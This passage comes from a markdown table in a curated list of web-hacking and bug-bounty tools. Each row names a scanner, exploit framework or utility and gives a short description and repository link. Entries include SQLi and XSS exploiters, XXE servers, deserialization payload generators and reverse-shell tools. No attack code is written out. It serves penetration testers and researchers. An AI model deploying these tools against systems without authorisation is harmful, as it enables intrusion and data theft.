|![](https://img.shields.io/github/stars/dwisiswant0/hinject?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[tplmap](https://github.com/epinna/tplmap)|Server-Side Template Injection and Code Injection Detection and Exploitation Tool|![](https://img.shields.io/github/stars/epinna/tplmap?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[corsair_scan](https://github.com/Santandersecurityresearch/corsair_scan)|Corsair_scan is a security tool to test Cross-Origin Resource Sharing (CORS).|![](https://img.shields.io/github/stars/Santandersecurityresearch/corsair_scan?label=%20)|[`cors`](/categorize/tags/cors.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[DSSS](https://github.com/stamparm/DSSS)|Damn Small SQLi Scanner|![](https://img.shields.io/github/stars/stamparm/DSSS?label=%20)|[`sqli`](/categorize/tags/sqli.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[findom-xss](https://github.com/dwisiswant0/findom-xss)|A fast DOM based XSS vulnerability scanner with simplicity. |![](https://img.shields.io/github/stars/dwisiswant0/findom-xss?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Scanner|[gitleaks](https://github.com/zricethezav/gitleaks)|Scan git repos (or files) for secrets using regex and entropy 🔑|![](https://img.shields.io/github/stars/zricethezav/gitleaks?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[nosqli](https://github.com/Charlie-belmer/nosqli)|NoSql Injection CLI tool|![](https://img.shields.io/github/stars/Charlie-belmer/nosqli?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[commix](https://github.com/commixproject/commix)|Automated All-in-One OS Command Injection Exploitation Tool.|![](https://img.shields.io/github/stars/commixproject/commix?label=%20)|[`exploit`](/categorize/tags/exploit.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[plution](https://github.com/raverrr/plution)|Prototype pollution scanner using headless chrome|![](https://img.shields.io/github/stars/raverrr/plution?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[S3cret Scanner](https://github.com/Eilonh/s3crets_scanner)|Hunting For Secrets Uploaded To Public S3 Buckets|![](https://img.shields.io/github/stars/Eilonh/s3crets_scanner?label=%20)|[`s3`](/categorize/tags/s3.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[DeadFinder](https://github.com/hahwul/deadfinder)|Find dead-links (broken links)|![](https://img.shields.io/github/stars/hahwul/deadfinder?label=%20)|[`broken-link`](/categorize/tags/broken-link.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Scanner|[headi](https://github.com/mlcsec/headi)|Customisable and automated HTTP header injection|![](https://img.shields.io/github/stars/mlcsec/headi?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[websocket-connection-smuggler](https://github.com/hahwul/websocket-connection-smuggler)|websocket-connection-smuggler|![](https://img.shields.io/github/stars/hahwul/websocket-connection-smuggler?label=%20)|[`smuggle`](/categorize/tags/smuggle.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[domdig](https://github.com/fcavallarin/domdig)|DOM XSS scanner for Single Page Applications |![](https://img.shields.io/github/stars/fcavallarin/domdig?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Scanner|[FockCache](https://github.com/tismayil/fockcache)|Minimalized Test Cache Poisoning|![](https://img.shields.io/github/stars/tismayil/fockcache?label=%20)|[`cache-vuln`](/categorize/tags/cache-vuln.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[a2sv](https://github.com/hahwul/a2sv)|Auto Scanning to SSL Vulnerability |![](https://img.shields.io/github/stars/hahwul/a2sv?label=%20)|[`ssl`](/categorize/tags/ssl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[Corsy](https://github.com/s0md3v/Corsy)|CORS Misconfiguration Scanner |![](https://img.shields.io/github/stars/s0md3v/Corsy?label=%20)|[`cors`](/categorize/tags/cors.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[xsscrapy](https://github.com/DanMcInerney/xsscrapy)|XSS/SQLi spider. Give it a URL and it'll test every link it finds for XSS and some SQLi. |![](https://img.shields.io/github/stars/DanMcInerney/xsscrapy?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[smuggler](https://github.com/defparam/smuggler)|Smuggler - An HTTP Request Smuggling / Desync testing tool written in Python 3 |![](https://img.shields.io/github/stars/defparam/smuggler?label=%20)|[`smuggle`](/categorize/tags/smuggle.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[ditto](https://github.com/evilsocket/ditto)|A tool for IDN homograph attacks and detection.|![](https://img.shields.io/github/stars/evilsocket/ditto?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[gitGraber](https://github.com/hisxo/gitGraber)|gitGraber |![](https://img.shields.io/github/stars/hisxo/gitGraber?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[web_cache_poison](https://github.com/fngoo/web_cache_poison)|web cache poison - Top 1 web hacking technique of 2019|![](https://img.shields.io/github/stars/fngoo/web_cache_poison?label=%20)|[`cache-vuln`](/categorize/tags/cache-vuln.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Scanner|[ppmap](https://github.com/kleiton0x00/ppmap)|A scanner/exploitation tool written in GO, which leverages client-side Prototype Pollution to XSS by exploiting known gadgets.|![](https://img.shields.io/github/stars/kleiton0x00/ppmap?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[xsinator.com](https://github.com/RUB-NDS/xsinator.com)|XS-Leak Browser Test Suite|![](https://img.shields.io/github/stars/RUB-NDS/xsinator.com?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Scanner|[Taipan](https://github.com/enkomio/Taipan)|Web application vulnerability scanner|![](https://img.shields.io/github/stars/enkomio/Taipan?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Scanner|[CorsMe](https://github.com/Shivangx01b/CorsMe)|Cross Origin Resource Sharing MisConfiguration Scanner |![](https://img.shields.io/github/stars/Shivangx01b/CorsMe?label=%20)|[`cors`](/categorize/tags/cors.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Exploit|[toxssin](https://github.com/t3l3machus/toxssin)|An XSS exploitation command-line interface and payload generator.|![](https://img.shields.io/github/stars/t3l3machus/toxssin?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Exploit|[ghauri](https://github.com/r0oth3x49/ghauri)|An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws|![](https://img.shields.io/github/stars/r0oth3x49/ghauri?label=%20)|[`sqli`](/categorize/tags/sqli.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Exploit|[singularity](https://github.com/nccgroup/singularity)|A DNS rebinding attack framework.|![](https://img.shields.io/github/stars/nccgroup/singularity?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Exploit|[BaRMIe](https://github.com/NickstaDB/BaRMIe)|Java RMI enumeration and attack tool.|![](https://img.shields.io/github/stars/NickstaDB/BaRMIe?label=%20)|[`RMI`](/categorize/tags/RMI.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Exploit|[xxeserv](https://github.com/staaldraad/xxeserv)|A mini webserver with FTP support for XXE payloads|![](https://img.shields.io/github/stars/staaldraad/xxeserv?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Exploit|[Sn1per](https://github.com/1N3/Sn1per)|Automated pentest framework for offensive security experts |![](https://img.shields.io/github/stars/1N3/Sn1per?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Exploit|[XSRFProbe](https://github.com/0xInfection/XSRFProbe)|The Prime Cross Site Request Forgery (CSRF) Audit and Exploitation Toolkit.|![](https://img.shields.io/github/stars/0xInfection/XSRFProbe?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Exploit|[Gopherus](https://github.com/tarunkant/Gopherus)|This tool generates gopher link for exploiting SSRF and gaining RCE in various servers |![](https://img.shields.io/github/stars/tarunkant/Gopherus?label=%20)|[`ssrf`](/categorize/tags/ssrf.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Exploit|[SQLNinja](https://gitlab.com/kalilinux/packages/sqlninja)|Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities.||[`sqli`](/categorize/tags/sqli.md)|![linux](/images/linux.png)![macos](/images/apple.png)[![Perl](/images/perl.png)](/categorize/langs/Perl.md)| |Exploit|[ropr](https://github.com/Ben-Lichtman/ropr)|A blazing fast™ multithreaded ROP Gadget finder. ropper|![](https://img.shields.io/github/stars/Ben-Lichtman/ropr?label=%20)|[`rop`](/categorize/tags/rop.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Exploit|[XXExploiter](https://github.com/luisfontes19/xxexploiter)|Tool to help exploit XXE vulnerabilities|![](https://img.shields.io/github/stars/luisfontes19/xxexploiter?label=%20)|[`xxe`](/categorize/tags/xxe.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![TypeScript](/images/typescript.png)](/categorize/langs/TypeScript.md)| |Exploit|[Liffy](https://github.com/mzfr/liffy)|Local file inclusion exploitation tool|![](https://img.shields.io/github/stars/mzfr/liffy?label=%20)|[`lfi`](/categorize/tags/lfi.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Exploit|[of-CORS](https://github.com/trufflesecurity/of-CORS)|Identifying and exploiting CORS misconfigurations on the internal networks|![](https://img.shields.io/github/stars/trufflesecurity/of-CORS?label=%20)|[`cors`](/categorize/tags/cors.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Exploit|[beef](https://github.com/beefproject/beef)|The Browser Exploitation Framework Project|![](https://img.shields.io/github/stars/beefproject/beef?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Exploit|[XXEinjector](https://github.com/enjoiz/XXEinjector)|Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods.|![](https://img.shields.io/github/stars/enjoiz/XXEinjector?label=%20)|[`xxe`](/categorize/tags/xxe.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Utils|[grc](https://github.com/garabik/grc)|generic colouriser|![](https://img.shields.io/github/stars/garabik/grc?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[xless](https://github.com/mazen160/xless)|The Serverless Blind XSS App|![](https://img.shields.io/github/stars/mazen160/xless?label=%20)|[`xss`](/categorize/tags/xss.md) [`blind-xss`](/categorize/tags/blind-xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[hoppscotch](https://github.com/hoppscotch/hoppscotch)|Open source API development ecosystem|![](https://img.shields.io/github/stars/hoppscotch/hoppscotch?label=%20)|[`http`](/categorize/tags/http.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![TypeScript](/images/typescript.png)](/categorize/langs/TypeScript.md)| |Utils|[SecLists](https://github.com/danielmiessler/SecLists)|SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place.|![](https://img.shields.io/github/stars/danielmiessler/SecLists?label=%20)|[`wordlist`](/categorize/tags/wordlist.md) [`documents`](/categorize/tags/documents.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Txt](/images/txt.png)](/categorize/langs/Txt.md)| |Utils|[docem](https://github.com/whitel1st/docem)|Uility to embed XXE and XSS payloads in docx,odt,pptx,etc (OXML_XEE on steroids)|![](https://img.shields.io/github/stars/whitel1st/docem?label=%20)|[`xxe`](/categorize/tags/xxe.md) [`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[SequenceDiagram](https://sequencediagram.org)|Online tool for creating UML sequence diagrams||[`online`](/categorize/tags/online.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Utils|[httptoolkit](https://github.com/httptoolkit/httptoolkit)|HTTP Toolkit is a beautiful & open-source tool for debugging, testing and building with HTTP(S) on Windows, Linux & Mac|![](https://img.shields.io/github/stars/httptoolkit/httptoolkit?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Utils|[Assetnote Wordlists](https://github.com/assetnote/wordlists)|Automated & Manual Wordlists provided by Assetnote|![](https://img.shields.io/github/stars/assetnote/wordlists?label=%20)|[`wordlist`](/categorize/tags/wordlist.md) [`documents`](/categorize/tags/documents.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![CSS](/images/css.png)](/categorize/langs/CSS.md)| |Utils|[cf-check](https://github.com/dwisiswant0/cf-check)|Cloudflare Checker written in Go |![](https://img.shields.io/github/stars/dwisiswant0/cf-check?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[godeclutter](https://github.com/c3l3si4n/godeclutter)|Declutters URLs in a fast and flexible way, for improving input for web hacking automations such as crawlers and vulnerability scans.|![](https://img.shields.io/github/stars/c3l3si4n/godeclutter?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[230-OOB](https://github.com/lc/230-OOB)|An Out-of-Band XXE server for retrieving file contents over FTP.|![](https://img.shields.io/github/stars/lc/230-OOB?label=%20)|[`xxe`](/categorize/tags/xxe.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[gron](https://github.com/tomnomnom/gron)|Make JSON greppable! |![](https://img.shields.io/github/stars/tomnomnom/gron?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[security-research-pocs](https://github.com/google/security-research-pocs)|Proof-of-concept codes created as part of security research done by Google Security Team.|![](https://img.shields.io/github/stars/google/security-research-pocs?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C++](/images/c++.png)](/categorize/langs/C++.md)| |Utils|[urlprobe](https://github.com/1ndianl33t/urlprobe)|Urls status code & content length checker |![](https://img.shields.io/github/stars/1ndianl33t/urlprobe?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates)|Community curated list of templates for the nuclei engine to find security vulnerabilities.|![](https://img.shields.io/github/stars/projectdiscovery/nuclei-templates?label=%20)|[`nuclei-templates`](/categorize/tags/nuclei-templates.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[nuclei-wordfence-cve](https://github.com/topscoder/nuclei-wordfence-cve)|Every single day new templates are added to this repo based on updates on Wordfence.com|![](https://img.shields.io/github/stars/topscoder/nuclei-wordfence-cve?label=%20)|[`nuclei-templates`](/categorize/tags/nuclei-templates.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[tiscripts](https://github.com/defparam/tiscripts)|Turbo Intruder Scripts|![](https://img.shields.io/github/stars/defparam/tiscripts?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[gitls](https://github.com/hahwul/gitls)|Listing git repository from URL/User/Org|![](https://img.shields.io/github/stars/hahwul/gitls?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[Emissary](https://github.com/BountyStrike/Emissary)|Send notifications on different channels such as Slack, Telegram, Discord etc.|![](https://img.shields.io/github/stars/BountyStrike/Emissary?label=%20)|[`notify`](/categorize/tags/notify.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[grex](https://github.com/pemistahl/grex)|A command-line tool and library for generating regular expressions from user-provided test cases|![](https://img.shields.io/github/stars/pemistahl/grex?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Utils|[graphql-voyager](https://github.com/APIs-guru/graphql-voyager)|🛰️ Represent any GraphQL API as an interactive graph |![](https://img.shields.io/github/stars/APIs-guru/graphql-voyager?label=%20)|[`graphql`](/categorize/tags/graphql.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![TypeScript](/images/typescript.png)](/categorize/langs/TypeScript.md)| |Utils|[dnsobserver](https://github.com/allyomalley/dnsobserver)|A handy DNS service written in Go to aid in the detection of several types of blind vulnerabilities. It monitors a pentester's server for out-of-band DNS interactions and sends lookup notifications via Slack. |![](https://img.shields.io/github/stars/allyomalley/dnsobserver?label=%20)|[`oast`](/categorize/tags/oast.md) [`dns`](/categorize/tags/dns.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[urlgrab](https://github.com/IAmStoxe/urlgrab)|A golang utility to spider through a website searching for additional links. |![](https://img.shields.io/github/stars/IAmStoxe/urlgrab?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[fzf](https://github.com/junegunn/fzf)|A command-line fuzzy finder|![](https://img.shields.io/github/stars/junegunn/fzf?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[wuzz](https://github.com/asciimoo/wuzz)|Interactive cli tool for HTTP inspection |![](https://img.shields.io/github/stars/asciimoo/wuzz?label=%20)|[`http`](/categorize/tags/http.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)|project-blacklist3r |![](https://img.shields.io/github/stars/NotSoSecure/Blacklist3r?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C#](/images/c%23.png)](/categorize/langs/C%23.md)| |Utils|[dsieve](https://github.com/trickest/dsieve)|Filter and enrich a list of subdomains by level|![](https://img.shields.io/github/stars/trickest/dsieve?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[ysoserial](https://github.com/frohoff/ysoserial)|A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. |![](https://img.shields.io/github/stars/frohoff/ysoserial?label=%20)|[`deserialize`](/categorize/tags/deserialize.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[hacks](https://github.com/tomnomnom/hacks)|A collection of hacks and one-off scripts |![](https://img.shields.io/github/stars/tomnomnom/hacks?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[Bug-Bounty-Toolz](https://github.com/m4ll0k/Bug-Bounty-Toolz)|BBT - Bug Bounty Tools |![](https://img.shields.io/github/stars/m4ll0k/Bug-Bounty-Toolz?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[slackcat](https://github.com/bcicen/slackcat)|CLI utility to post files and command output to slack|![](https://img.shields.io/github/stars/bcicen/slackcat?label=%20)|[`notify`](/categorize/tags/notify.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[reverse-shell-generator](https://github.com/0dayCTF/reverse-shell-generator)|Hosted Reverse Shell generator with a ton of functionality. -- (Great for CTFs)|![](https://img.shields.io/github/stars/0dayCTF/reverse-shell-generator?label=%20)|[`payload`](/categorize/tags/payload.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[wssip](https://github.com/nccgroup/wssip)|Application for capturing, modifying and sending custom WebSocket data from client to server and vice versa.|![](https://img.shields.io/github/stars/nccgroup/wssip?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[curl](https://github.com/curl/curl)|A command line tool and library for transferring data with URL syntax, supporting HTTP, HTTPS, FTP, FTPS, GOPHER, TFTP, SCP, SFTP, SMB, TELNET, DICT, LDAP, LDAPS, MQTT, FILE, IMAP, SMTP, POP3, RTSP and RTMP. libcurl offers a myriad of powerful features|![](https://img.shields.io/github/stars/curl/curl?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C](/images/c.png)](/categorize/langs/C.md)| |Utils|[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)|A tool to dump Java serialization streams in a more human readable form.|![](https://img.shields.io/github/stars/NickstaDB/SerializationDumper?label=%20)|[`deserialize`](/categorize/tags/deserialize.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[pwncat](https://github.com/cytopia/pwncat)|pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE) |![](https://img.shields.io/github/stars/cytopia/pwncat?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Utils|[interactsh](https://github.com/projectdiscovery/interactsh)|An OOB interaction gathering server and client library|![](https://img.shields.io/github/stars/projectdiscovery/interactsh?label=%20)|[`oast`](/categorize/tags/oast.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[ysoserial.net](https://github.com/pwntester/ysoserial.net)|Deserialization payload generator for a variety of .NET formatters |![](https://img.shields.io/github/stars/pwntester/ysoserial.net?label=%20)|[`deserialize`](/categorize/tags/deserialize.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C#](/images/c%23.png)](/categorize/langs/C%23.md)| |Utils|[eoyc](https://github.com/hahwul/eoyc)|Encoding Only Your Choices|![](https://img.shields.io/github/stars/hahwul/eoyc?label=%20)|[`encode`](/categorize/tags/encode.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Crystal](/images/crystal.png)](/categorize/langs/Crystal.md)| |Utils|[weaponised-XSS-payloads](https://github.com/hakluke/weaponised-XSS-payloads)|XSS payloads designed to turn alert(1) into P1|![](https://img.shields.io/github/stars/hakluke/weaponised-XSS-payloads?label=%20)|[`xss`](/categorize/tags/xss.md) [`documents`](/categorize/tags/documents.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[ZipBomb](https://github.com/abdulfatir/ZipBomb)|A simple implementation of ZipBomb in Python|![](https://img.shields.io/github/stars/abdulfatir/ZipBomb?label=%20)|[`zipbomb`](/categorize/tags/zipbomb.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[s3reverse](https://github.com/hahwul/s3reverse)|The format of various s3 buckets is convert in one format. for bugbounty and security testing. |![](https://img.shields.io/github/stars/hahwul/s3reverse?label=%20)|[`s3`](/categorize/tags/s3.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[TukTuk](https://github.com/ArturSS7/TukTuk)|Tool for catching and logging different types of requests. |![](https://img.shields.io/github/stars/ArturSS7/TukTuk?label=%20)|[`oast`](/categorize/tags/oast.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[gxss](https://github.com/rverton/gxss)|Blind XSS service alerting over slack or email|![](https://img.shields.io/github/stars/rverton/gxss?label=%20)|[`xss`](/categorize/tags/xss.md) [`blind-xss`](/categorize/tags/blind-xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[github-regexp](https://github.com/gwen001/github-regexp)|Basically a regexp over a GitHub search.|![](https://img.shields.io/github/stars/gwen001/github-regexp?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[Gf-Patterns](https://github.com/1ndianl33t/Gf-Patterns)|GF Paterns For (ssrf,RCE,Lfi,sqli,ssti,idor,url redirection,debug_logic) parameters grep |![](https://img.shields.io/github/stars/1ndianl33t/Gf-Patterns?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Utils|[gf](https://github.com/tomnomnom/gf)|A wrapper around grep, to help you grep for things |![](https://img.shields.io/github/stars/tomnomnom/gf?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[bountyplz](https://github.com/fransr/bountyplz)|Automated security reporting from markdown templates (HackerOne and Bugcrowd are currently the platforms supported) |![](https://img.shields.io/github/stars/fransr/bountyplz?label=%20)|[`report`](/categorize/tags/report.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Utils|[CyberChef](https://github.com/gchq/CyberChef)|The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis 